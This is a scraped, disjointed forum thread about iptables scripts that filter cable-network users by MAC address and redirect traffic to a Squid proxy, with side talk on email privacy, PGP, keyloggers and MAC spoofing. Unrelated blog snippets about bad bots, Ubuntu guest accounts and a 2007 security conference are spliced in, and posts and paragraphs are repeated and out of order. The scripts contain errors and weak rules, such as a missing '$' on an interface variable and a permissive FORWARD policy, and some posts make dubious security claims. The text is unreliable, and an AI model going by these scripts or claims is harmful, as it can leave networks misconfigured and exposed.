$LOOPBACK -j ACCEPT ######################################################################## ### Droping Packets coming from internet claming to be from Network ### ######################################################################## $IPT -A INPUT -i $INTERNET -s $LOC_IP -j DROP $IPT -A INPUT -i $INTERNET -d 127.0.0.0/8 -j DROP $IPT -A INPUT -i $NETWORK -j ACCEPT $IPT -A OUTPUT -o $NETWORK -j ACCEPT ####################################################### ### Accepting Extablished and Related Connections ### ####################################################### $IPT -I INPUT -i $NETWORK -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A INPUT -i $INTERNET -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A OUTPUT -o $INTERNET -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT ############################################ ### Droping Invalid and Unknown Packets ### ############################################ $IPT -A FORWARD -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ALL NONE -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,RST SYN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags FIN,RST FIN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,FIN FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,PSH PSH -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,URG URG -j DROP $IPT -t nat -A PREROUTING -i $NETWORK -p tcp --syn -s $LOC_IP --dport 80 -m mark ! --mark 1 -j DROP |
| mudasir wrote: |
| AOA,
Dear x2oxen, As said earlier, i am also not a professional regarding firewalling. However i tried to make this for my own CABLE NET, it worked great how ever, as not being a professional i dont know the key points regarding SECURITY. That is the main reason for asking HELP to make this FIREWALL a bit more SECURE. |
| Quote: |
| lamda said:
"in over fourteen years of using pgp |
| Quote: |
| Lamba said:
1. I don't know about yahoo or hotmail, but gmail doesn't provide your personal information to advertisers. Then said: |
| Quote: |
| Ciao! for bro lamda
& Chao! for the community |
| blackdaemon wrote: |
| Im curious does this make gmail any better or diff from rest? |
| Quote: |
| Yes totally agree with the sniffer thing thats why they say no sys is 100% secure. but implementing a sniffer on a gigabit node to sniff a laymans traffic like mine is ridiculous & folks implementing sniffers will be implementing them for a whole different reason other than giving to marketing people. |
| Quote: |
| Why not encrypt and sign email messages with keys and then send over the internet, easy, cost-effective, whole pub/priv key concept can be understood in 100-300 words |
| blackdaemon wrote: |
| These services are free, but freedom at a cost of collecting our data trends and providing them to their sponsor marketing people is a high cost |
| Quote: |
| Well using my gmail I mailed one of my university friends who told me something about him getting an HEC scholarship & while i was reading i looked up just above the mail main menu and there it was "Do you want UK scholarships/student visa?" this must be coincidence so i returned back to my mail box and now "For all scholarships in UK xxxx consultants" |
| Quote: |
| Question: Which email should the community use? One which is free but at a strangely high privacy cost? or maybe this is pointing to project where we should all chipinn to create a service for ourselves to atleast mail with true FREEDOM & true PRIVACY as webster dictionary defines the word PRIVACY
|
| Quote: |
| Chao! |
| Quote: |
| $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 80 -j REDIRECT --to-port $SQUID_PORT
$IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 21 -j REDIRECT --to-port $SQUID_PORT $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 21 -j REDIRECT --to-port $SQUID_PORT |
| Code: |
|
#!/bin/sh ############################################### #### Firewall Script Created By #### #### Mudasir Mirza #### #### cool_mudasir@hotmail.com #### #### 0092-321-2395320 #### ############################################### #set -x ######################## ## Defining Variables ## ######################## # Path to IPTABLES executable IPT="/sbin/iptables" # Interface Card Connected to Local Network NETWORK="eth0" # Interface Card Connected to Internet INTERNET="eth1" # Loopback Interface LOOPBACK="lo" # IP Addreses of Server SERVER_IP="192.168.1.1" # Local Network IP Range / Subnet LOC_IP="192.168.1.0/24" # INTERNAL Broadcast LOC_BCAST=192.168.1.255 # IP On The Internet Interface NET_IP="172.16.0.1/24" # DHCP Server IP DHCP_SERVER="192.168.1.1" # Squid Server IP SQUID_IP="192.168.1.1" # Squid PORT SQUID_PORT="8080" # Primiry DNS Server P_DNS="203.135.1.117" # Alternate DNS Server A_DNS="203.135.0.70" # Path To Directory Containing MAC Addresses MACDIR="/files/macs" # Path To File Containing MAC Addresses MACFILE="/files/macs/allowed.macs" ######################### ### Flushing IPTABLES ### ######################### $IPT -F $IPT -X $IPT -t nat -F $IPT -t nat -X $IPT -t mangle -F $IPT -t mangle -X ######################################## ### Setting Default Policies to Drop ### ######################################## $IPT -P INPUT DROP $IPT -P FORWARD ACCEPT $IPT -P OUTPUT ACCEPT echo Default Policies Set To Drop #################################### ### Setting Needed PROC Settings ### #################################### echo 1 > /proc/sys/net/ipv4/ip_forward ############################## ### Setting IPTABLES Rules ### ############################## ############################### ### MAC Addresses Filtering ### ############################### rm -f $MACDIR/mac.addresses cat $MACFILE | awk '{ print $1 }' >> $MACDIR/mac1 cat $MACDIR/mac1 | sed "s/#.*//" > $MACDIR/mac2 cat $MACDIR/mac2 | sed "/^ /d;/^$/d;" > $MACDIR/mac.addresses rm -f $MACDIR/mac1 rm -f $MACDIR/mac2 echo ---------------------------------------- echo Marking Packets from Known MAC Addresses echo ---------------------------------------- cat $MACDIR/mac.addresses | while read MACS do $IPT -t mangle -A PREROUTING -i $NETWORK -m mac --mac-source $MACS -j MARK --set-mark 1 done echo ----------------------------------------------- echo ---- MAC Address Filtering Complete ---- echo ----------------------------------------------- ######################################### ### MAC Addresses Filtering Completed ### ######################################### ################################ ### Accepting Marked Packets ### ################################ $IPT -A INPUT -i $NETWORK -m mark --mark 1 -j ACCEPT $IPT -A FORWARD -i $NETWORK -m mark --mark 1 -j ACCEPT #################################### ### Droping All Unmarked Packets ### #################################### $IPT -A FORWARD -i $NETWORK -m mark ! --mark 1 -j DROP $IPT -A INPUT -i $NETWORK -m mark ! --mark 1 -j DROP ######################################################## ### Accepting Voice/CAM Request for Marked Packets. ### ######################################################## $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p udp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5100 -j ACCEPT ####################################################### ### Droping Voice/CAM Traffic which is not Marked. ### ####################################################### $IPT -t nat -A PREROUTING -i $NETWORK -m mark ! --mark 1 -p tcp --dport 5000:5010 -j DROP $IPT -t nat -A PREROUTING -m mark ! --mark 1 -i NETWORK -p tcp --dport 5100 -j DROP ################################ ### Accepting DHCP Request. ### ################################ $IPT -A INPUT -i $NETWORK -p udp -s $DHCP_SERVER --sport 67 -d 255.255.255.255 --dport 68 -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p udp -s 255.255.255.255 --sport 68 -d $DHCP_SERVER --dport 67 -j ACCEPT ################################################################ ### Redirecting HTTP and FTP Traffic to Squid Proxy Server. ### ################################################################ $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 80 -j REDIRECT --to-port $SQUID_PORT $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 80 -j REDIRECT --to-port $SQUID_PORT $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 21 -j REDIRECT --to-port $SQUID_PORT $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 21 -j REDIRECT --to-port $SQUID_PORT ################################################# ### MASQUERADE All packets that are Marked. ### ################################################# $IPT -t nat -A POSTROUTING -p all -s $LOC_IP -m mark --mark 1 -o $INTERNET -j MASQUERADE ############################### ### Rules for ICMP Protocol ### ############################### $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $P_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $A_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d ! $LOC_IP -p icmp --icmp-type echo-request -j DROP $IPT -A INPUT -i $NETWORK -d $SERVER_IP -m mark --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-host-unreachable $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $SERVER_IP -m mark ! --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-net-unreachable $IPT -A INPUT -p icmp -s $LOC_IP -d $LOC_BCAST -j DROP ############################################### ### No Restriction for Loopback Interface ### ############################################### $IPT -A INPUT -i $LOOPBACK -j ACCEPT $IPT -A OUTPUT -o $LOOPBACK -j ACCEPT ######################################################################## ### Droping Packets coming from internet claming to be from Network ### ######################################################################## $IPT -A INPUT -i $INTERNET -s $LOC_IP -j DROP $IPT -A INPUT -i $INTERNET -d 127.0.0.0/8 -j DROP $IPT -A INPUT -i $NETWORK -j ACCEPT $IPT -A OUTPUT -o $NETWORK -j ACCEPT ####################################################### ### Accepting Extablished and Related Connections ### ####################################################### $IPT -I INPUT -i $NETWORK -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A INPUT -i $INTERNET -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A OUTPUT -o $INTERNET -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT ############################################ ### Droping Invalid and Unknown Packets ### ############################################ $IPT -A FORWARD -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ALL NONE -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,RST SYN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags FIN,RST FIN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,FIN FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,PSH PSH -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,URG URG -j DROP $IPT -t nat -A PREROUTING -i $NETWORK -p tcp --syn -s $LOC_IP --dport 80 -m mark ! --mark 1 -j DROP |
| x2oxen wrote: | ||
Agree with you! like we say a good hacker can be a good defender of attacks! |
| sameer666 wrote: |
| keyloggers are good, but rootkits are much better way of logging. as rootkits are installed in ring zero.
in my humble opinion, basic knowledge of attacks should be discussed first, before digging into further. |
| Quote: |
| Take a look to this: see how much our security on stake
[review.zdnet.com] |
| securitykid wrote: |
| Now comes to the solution:
[www.qfxsoftware.com] I would recommend everyone to use key scrambler personal at least |
| x2oxen wrote: |
| Your any further post ain't gonna make any different to me cause don't pay attention to edicts word's and you are high at your knowledge for sure! |
| Saad Khan wrote: |
| who suggested you to use PGP, instead of ssh usage. or may be i didn't know that, there are some sniffers exist, that sniff your encrypted ssh logins, i would like to have such programs in my toolkit. |
| x2oxen wrote: |
|
Have you ever heard about key logger saad?? In some cases we need to let others access our servers as well for some certain passwords and we do not want to disclose our passwords to them. PGP & Public key encryptography is the best option and uncrackable until now. |
| x2oxen wrote: |
|
Have you ever heard about key logger saad?? In some cases we need to let others access our servers as well for some certain passwords and we do not want to disclose our passwords to them. PGP & Public key encryptography is the best option and uncrackable until now. |
| Quote: |
| BUT what if a stealth key logger is tracking your keys?,
there is a way to even protect it, Any one interested? let me know I will describe how to combat with key loggers which cannot be fixed/clean/detected by traditional AVs. |
| Saad Khan wrote: | ||
we should not use passwords for ssh?? that means, ssh is not secured? this post really instigating me to know about that person? who suggested you to use PGP, instead of ssh usage. or may be i didn't know that, there are some sniffers exist, that sniff your encrypted ssh logins, i would like to have such programs in my toolkit. correct me, if i am wrong, i would like to increase my skills with your precious replies and suggestions. |
| lambda wrote: |
| use pgp instead of ssh passwords? ha ha! there's no end to the depths of your ignorance. i pity the people who have to rely on you at work. |
| x2oxen wrote: |
| Thanks for your comprehensive reply guys. But all forgot to mention a really major point that is we should not use passwords for ssh logins cause any smart middle man can detect it and can harm us. We should always go for PGP and Public-Key Cryptography that will make our systems far away secure than using plain passwords.
|
| securitykid wrote: |
| I like your signature |
| Quote: |
|
AOA, I want to ask that if two guyz using same MAC Address and only one should be allowed to use the internet from the Server, how can i do this. Like one guy on my network has somehow managed to change the MAC Address of his LAN card. Now is there any way to stop him from using internet. IP's are given by DHCP Server. Using a MAC Address base firewall posted here . And using Squid Proxy Server Looking forward for some help. _________________ Kind Regards Mudasir Mirza Crystal Net Communications 0321-2395320 |
| LinuxFreaK wrote: |
| Dear A_Karimm
Just add a rule in your INPUT chain which allows port 80 to every one. # /sbin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT Best Regards. |
| Code: |
|
#!/bin/bash # #################################################### #-> Flush all the rules in the filter and nat tables. #################################################### # /sbin/iptables -F /sbin/iptables -t nat -F /sbin/iptables -t mangle -F /sbin/iptables -X /sbin/iptables -t nat -X /sbin/iptables -t mangle -X /sbin/iptables -N MAC /sbin/iptables -F MAC # ##################################### #-> INPUT, FORWARD and OUTPUT chains. ##################################### # /sbin/iptables -F INPUT /sbin/iptables -F FORWARD /sbin/iptables -F OUTPUT #------------------------------ /sbin/iptables -P INPUT DROP /sbin/iptables -P FORWARD DROP /sbin/iptables -P OUTPUT ACCEPT # ##################### #-> Accept Loopback # ##################### # /sbin/iptables -A INPUT -i lo -j ACCEPT /sbin/iptables -A OUTPUT -o lo -j ACCEPT # ############################################################### #-> Enable IP Forwarding and Network Address Translation. ############################################################### # /sbin/iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8088 /sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # ################# #-> SSH Connection ################# # /sbin/iptables -A MAC -i eth0 -p tcp --dport 22 -j ACCEPT # ############## #-> DNS Queries. ############## # /sbin/iptables -A MAC -s 192.168.0.50/24 -p tcp --dport 53 -j ACCEPT /sbin/iptables -A MAC -s 192.168.0.50/24 -p udp --dport 53 -j ACCEPT # ##################### ##---> Allowed Services <---## ##################### # /sbin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT /sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT /sbin/iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT # ##################### ##---> Bind MAC with IP <---## ##################### # for allowuser in `cat /etc/allow.user` do mac=`echo $allowuser |cut -d"|" -f1` echo Allowed $mac /sbin/iptables -A MAC -i eth0 -p all -m mac --mac-source $mac -j ACCEPT /sbin/iptables -A MAC -m state --state ESTABLISHED,RELATED -j ACCEPT done # ####################################### #-> Jump INPUT & FORWARD rules to MAC. ####################################### # /sbin/iptables -A INPUT -p all -j MAC /sbin/iptables -A FORWARD -p all -j MAC # ########################## #-> DROP everything else. ########################## # /sbin/iptables -A MAC -i eth0 -p all -j DROP |
Few days ago my site was hit by a bunch of really bad bots which crawl my site continuously until it overloads my web server. Now I'm publishing a way to block these so-called bad robots from ruining your website by their crazy crawling method.
Assuming you are using Apache Http server, create .httaccess file and append this line to the newly created file.
Few days ago my site was hit by a bunch of really bad bots which crawl my site continuously until it overloads my web server. Now I'm publishing a way to block these so-called bad robots from ruining your website by their crazy crawling method.
Assuming you are using Apache Http server, create .httaccess file and append this line to the newly created file.
(more...)
| Code: |
| #!/bin/bash
# #################################################### #-> Flush all the rules in the filter and nat tables. #################################################### # /sbin/iptables -F /sbin/iptables -t nat -F /sbin/iptables -t mangle -F /sbin/iptables -X /sbin/iptables -t nat -X /sbin/iptables -t mangle -X /sbin/iptables -N MAC /sbin/iptables -F MAC # ##################################### #-> INPUT, FORWARD and OUTPUT chains. ##################################### # /sbin/iptables -F INPUT /sbin/iptables -F FORWARD /sbin/iptables -F OUTPUT #------------------------------ /sbin/iptables -P INPUT DROP /sbin/iptables -P FORWARD DROP /sbin/iptables -P OUTPUT ACCEPT # ##################### #-> Accept Loopback # ##################### # /sbin/iptables -A INPUT -i lo -j ACCEPT /sbin/iptables -A OUTPUT -o lo -j ACCEPT # ############################################################### #-> Enable IP Forwarding and Network Address Translation. ############################################################### # /sbin/iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8088 /sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # ################# #-> SSH Connection ################# # /sbin/iptables -A MAC -i eth0 -p tcp --dport 22 -j ACCEPT # # ##################### ##---> Bind MAC with IP <---## ##################### # for allowuser in `cat /etc/allow.user` do mac=`echo $allowuser |cut -d"|" -f1` echo Allowed $ip $mac /sbin/iptables -A MAC -i eth0 -p all -m mac --mac-source $mac -j ACCEPT /sbin/iptables -A MAC -m state --state ESTABLISHED,RELATED -j ACCEPT done # ####################################### #-> Jump INPUT & FORWARD rules to MAC. ####################################### # /sbin/iptables -A INPUT -p all -j MAC /sbin/iptables -A FORWARD -p all -j MAC # ########################## #-> DROP everything else. ########################## # /sbin/iptables -A MAC -i eth0 -p all -j DROP |
| A_Karim wrote: |
| 1. When going to take backup for mac.deny it take backup of mac.allow then how taking backup of mac.deny ?? |
| A_Karim wrote: |
| 2. Whats the difference between deny and block options ?? if there no diff. why 2 options ? |
| A_Karim wrote: |
| 3. If i deny a MAC it store in mac.deny and after then i allow it copy into mac.allow file but still reside in mac.deny file. So which rule is applied on that MAC either ALLOW or DENY. |
It is always a good idea to create a limited guest user account when you are sharing the computer with multiple users. This is to prevent accidental (or intentional) tampering of system configuration which can prevent your Ubuntu Linux operating system from running properly.
Here’s how to setup a limited guest account for your Ubuntu Linux operating system. This guide assumes you are adding a guest account user for your children to play with.
How to Add a Limited User Account
1. From Desktop, go to System, Administration and select “Users and Groups”.
2. You will be shown with user settings dialog. Click “Add User” button
3. Fill in the new user details
It is always a good idea to create a limited guest user account when you are sharing the computer with multiple users. This is to prevent accidental (or intentional) tampering of system configuration which can prevent your Ubuntu Linux operating system from running properly.
Here’s how to setup a limited guest account for your Ubuntu Linux operating system. This guide assumes you are adding a guest account user for your children to play with.
How to Add a Limited User Account
1. From Desktop, go to System, Administration and select “Users and Groups”.
2. You will be shown with user settings dialog. Click “Add User” button
3. Fill in the new user details
4. You can grant the appropriate privilege on in the “User Privilege” tab.
Note by assigning privileges, you can fine-tune user account rights to use certain application in your operating system. For example you may prevent users from messing up with internet connection by preventing him/her to access modem, and so on.
Conclusion
Ubuntu provides the facility to create limited (and unprivileged) user account for conveniences in day-to-day Desktop experience. By creating users with limited privilege, you can prevent other users from messing up with your operating system configuration while giving them the freedom of using their own Desktop and workspace.
Tags: ubuntu, debian, security, linux, opensource, open source, gnome, guide, howto
| Code: |
|
# # MAC Check Script # This Script will add Allowed/Blocked and Blocked Users in Firewall # #!/bin/sh MAC_ALLOW="/etc/mac.allow" MAC_DENY="/etc/mac.deny" TMP_ALLOW="/tmp/mac.allow" TMP_DENY="/tmp/mac.deny" cat $MAC_ALLOW | awk '{ print $1}' > $TMP_ALLOW cat $MAC_DENY | awk '{ print $1}' > $TMP_DENY echo -e "Loading MAC Address...." iptables -F iptables -X iptables -t nat -F iptables -t nat -X for MAC in `cat $TMP_ALLOW` do /sbin/iptables -I INPUT -p all -m mac --mac-source $MAC -j ACCEPT done for MAC in `cat $TMP_DENY` do /sbin/iptables -I INPUT -p all -m mac --mac-source $MAC -j DROP done /sbin/iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 /sbin/iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE /sbin/iptables -I INPUT 1 -m state --state ESTABLISHED,RELATED -j ACCEPT /sbin/iptables -A INPUT -p all -j DROP rm -f $TMP_ALLOW rm -f $TMP_DENY echo -e "MAC Address Loaded Successfully...." |
| LinuxFreaK wrote: |
| Dear mudasir,
Salam, I will update checkmac script by this week. Best Regards. |
| raheelahmad wrote: |
| I am unable to understand why you are talking about ppoe , if it is possible with ppoe please provide solution. |
| Quote: |
| In MS AD or FDS , you can restrict users with profile and policies can be applied,but you cannot make it 100% Secure, anyone with littpe knowledge about spoofing can spoof man n IP & on linux its not a big deal to spoof mac... |
| kbukhari wrote: |
|
check iptables -nvL -t nat and see are you getting matches ? |
| A_Karim wrote: |
| No solution ? any idea ???
Regards, AK |
| raheelahmad wrote: |
| What are you talking about ................... |
| kbukhari wrote: | ||
Dear raheel there is no way to search Mac spoofing ip will bind on a Mac address think if I can spoof a Mac then its not too difficult for me to find an IP. If I use same ip and Mac of an other users? Then how server could search me? In this scenario I have to option 1. Move on Layer 3 network (Which is two much expansive) 2. Move on PPPoE authentication which is not much difficult in Linux |
| Quote: |
| What are you talking about ................... |
| raheelahmad wrote: |
| Dear friend , while checking the script farrukh has posted in forum I come to know that your problem will still exists in your network , you have to write the script which can stop MAC Spoofing which can be done as you said by binding IP to MAC plus you have to modify the script which before adding the allowed MAC to list will search if the mac already exists against any IP if yes block it else let it in ,if spoof your server MAC what will be happen if i am on same network ? flooding .. Spoofing ..
I hope this will help you ... much ... please let us know your response ... I can write the script for you but on weekend sorry for delay ... regards. |
| Quote: |
|
Dear, You can use following setting. #/bin/echo 1 > /proc/sys/net/ipv4/ip_forward #/sbin/iptables -A POSTROUTING -t nat -s 10.0.0.0/8 -o eth1 -j MASQUERADE #/sbin/iptables -t nat -A PREROUTING -s 192.168.0.0/24 -p tcp --dport 80 -j REDIRECT --to-port 8080 Above are three commands running these three commands and check and let me know. Regards, Noman Liaquat |
| A_Karim wrote: |
| Assalam-o-Alikum
I have problem connecting Yahoo Messenger with No Proxies using Squid as Proxy Server . MSN working fine.I am using Cable Net. Scen SNIP------ Any Idea ??? Thanks in Advance Regards, AK |
| mudasir wrote: |
| AOA,
Currenlt my LAPTOP's Combo Drive just died, so i will be replacing it very soon, after that i will start Working on FDS.... |
| Quote: |
| what about FDS dude ......... |
| A_Karim wrote: |
| I have problem connecting Yahoo Messenger with No Proxies using Squid as Proxy Server . MSN working fine.I am using Cable Net.
Scenario Transparent Proxy - 192.168.1.1 My Squid Proxy - eth1 = 192.168.1.2 eth0 = 10.0.0.1 My Cable wala running transparent proxy with MAC address filtering and by using his setting me and my users running applications fine. But i want my users using my squid server as proxy by setting 10.0.0.1 as proxy and it works fine for rest of application only yahoo messenger does not working with No Proxies. There is no IPTABLES rules [Squid.Conf] http_port 8080 acl QUERY urlpath_regex cgi-bin ? no_cache deny QUERY cache_dir ufs /var/spool/squid 100 16 256 acl all src 0.0.0.0/0.0.0.0 acl manager proto cache_object acl localhost src 127.0.0.1/255.255.255.255 acl to_localhost dst 127.0.0.0/8 acl SSL_ports port 443 563 acl Safe_ports port 80 # http acl Safe_ports port 21 # ftp acl Safe_ports port 443 563 # https, snews acl Safe_ports port 70 # gopher acl Safe_ports port 210 # wais acl Safe_ports port 1025-65535 # unregistered ports acl Safe_ports port 280 # http-mgmt acl Safe_ports port 488 # gss-http acl Safe_ports port 591 # filemaker acl Safe_ports port 777 # multiling http acl Safe_ports port 5050 # yahoo messenger TCP acl Safe_ports port 5100 # yahoo messenger webcam TCP acl Safe_ports port 5000 # yahoo messenger voice TCP/UDP acl Safe_ports port 5001 # yahoo messenger voice TCP acl Safe_ports port 5010 # yahoo messenger voice UDP acl CONNECT method CONNECT http_access allow manager localhost http_access deny manager # Deny requests to unknown ports http_access deny !Safe_ports # Deny CONNECT to other than SSL ports http_access deny CONNECT !SSL_ports acl mynet src 10.0.0.0/8 http_access allow mynet # And finally deny all other access to this proxy http_access allow localhost http_access deny all http_reply_access allow all icp_access allow all httpd_accel_single_host off httpd_accel_with_proxy on httpd_accel_uses_host_header on |
HITBSecConf2007 is over; A lot of cool stuff happening this year which can find out at HITBSecConf2007’s website. Capture The Flag write up by spoonfork can read it at security.org.my. Buy a copy of The Star today and it’s Sao Vang team from vnsecurity.net on the cover page.
Met a lot people this year and looking forward for next year HITBSecConf08. Last but not least… Here is the newest sticker on my laptop;
Tags: Hack In The Box Conference 2007, Apple, Security, Honeynet
| Quote: |
|
Why AD, If he is using linux? |
| Quote: |
|
#!/bin/sh # Firewall Script #set -x ################# ## Defining Variables ## ################# # Path to IPTABLES executable IPT="/sbin/iptables" # Interface Card Connected to Local Network NETWORK="eth0" # Interface Card Connected to Internet INTERNET="eth1" # Loopback Interface LOOPBACK="lo" # IP Addreses of Server SERVER_IP="192.168.1.1" # Local Network IP Range / Subnet LOC_IP="192.168.1.1/24" # INTERNAL Broadcast LOC_BCAST=192.168.1.255 # IP On The Internet Interface NET_IP="172.16.0.1/24" # DHCP Server IP DHCP_SERVER="192.168.1.1" # Primiry DNS Server P_DNS="203.135.1.117" # Alternate DNS Server A_DNS="203.135.0.70" # Path To Directory Containing MAC Addresses MACDIR="/files/macs" # Path To File Containing MAC Addresses MACFILE="/files/macs/allowed.macs" ################### ### Flushing IPTABLES ### ################### $IPT -F $IPT -X $IPT -t nat -F $IPT -t nat -X $IPT -t mangle -F $IPT -t mangle -X ########################### ### Setting Default Policies to Drop ### ########################### $IPT -P INPUT DROP $IPT -P FORWARD ACCEPT $IPT -P OUTPUT ACCEPT echo Default Policies Set To Drop ########################## ### Setting Needed PROC Settings ### ########################## echo 1 > /proc/sys/net/ipv4/ip_forward ###################### ### Setting IPTABLES Rules ### ###################### ###################### ### MAC Addresses Filtering ### ###################### rm -f $MACDIR/mac.addresses cat $MACFILE | awk '{ print $1 }' >> $MACDIR/mac1 cat $MACDIR/mac1 | sed "s/#.*//" > $MACDIR/mac2 cat $MACDIR/mac2 | sed "/^ /d;/^$/d;" > $MACDIR/mac.addresses rm -f $MACDIR/mac1 rm -f $MACDIR/mac2 echo ---------------------------------------- echo Marking Packets from Known MAC Addresses echo ---------------------------------------- cat $MACDIR/mac.addresses | while read MACS do $IPT -t mangle -A PREROUTING -i $NETWORK -m mac --mac-source $MACS -j MARK --set-mark 1 done #sleep 5 echo ---------------------------------------- echo echo ---- MAC Address Filtering Complete ---- echo echo ---------------------------------------- ############################## ### MAC Addresses Filtering Completed ### ############################## ############################# ### Redirecting All Un-Marked Packets ### ############################# $IPT -t nat -A PREROUTING -i $NETWORK -p tcp --dport 80 -m mark ! --mark 1 -j REDIRECT --to-port 8080 $IPT -t nat -A PREROUTING -i $NETWORK -p udp --dport 80 -m mark ! --mark 1 -j REDIRECT --to-port 8080 ######################## ### Accepting Marked Packets ### ######################## $IPT -A INPUT -i $NETWORK -m mark --mark 1 -j ACCEPT $IPT -A FORWARD -i $NETWORK -m mark --mark 1 -j ACCEPT ########################## ### Droping All Unmarked Packets ### ########################## #$IPT -A FORWARD -i $NETWORK -m mark ! --mark 1 -j DROP #$IPT -A INPUT -i $NETWORK -m mark ! --mark 1 -j DROP ####################################### ### Accepting Voice/CAM Request for Marked Packets. ### ####################################### $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p udp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5100 -j ACCEPT ###################################### ### Droping Voice/CAM Traffic which is not Marked. ### ###################################### $IPT -t nat -A PREROUTING -i $NETWORK -m mark ! --mark 1 -p tcp --dport 5000:5010 -j DROP $IPT -t nat -A PREROUTING -m mark ! --mark 1 -i NETWORK -p tcp --dport 5100 -j DROP ######################## ### Accepting DHCP Request. ### ######################## $IPT -A INPUT -i $NETWORK -p udp -s $DHCP_SERVER --sport 67 -d 255.255.255.255 --dport 68 -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p udp -s 255.255.255.255 --sport 68 -d $DHCP_SERVER --dport 67 -j ACCEPT ########################################### ### Redirecting HTTP and FTP Traffic to Squid Proxy Server. ### ########################################### $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 80 -j REDIRECT --to-port 8080 $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 80 -j REDIRECT --to-port 8080 $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 21 -j REDIRECT --to-port 8080 $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 21 -j REDIRECT --to-port 8080 ################################### ### MASQUERADE All packets that are Marked. ### ################################### $IPT -t nat -A POSTROUTING -p all -s $LOC_IP -m mark --mark 1 -o $INTERNET -j MASQUERADE ###################### ### Rules for ICMP Protocol ### ###################### $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $P_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $A_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d ! $LOC_IP -p icmp --icmp-type echo-request -j DROP $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $SERVER_IP -m mark --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-host-unreachable $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $SERVER_IP -m mark ! --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-net-unreachable $IPT -A INPUT -p icmp -s $LOC_IP -d $LOC_BCAST -j DROP ############################### ### No Restriction for Loopback Interface ### ############################### $IPT -A INPUT -i $LOOPBACK -j ACCEPT $IPT -A OUTPUT -o 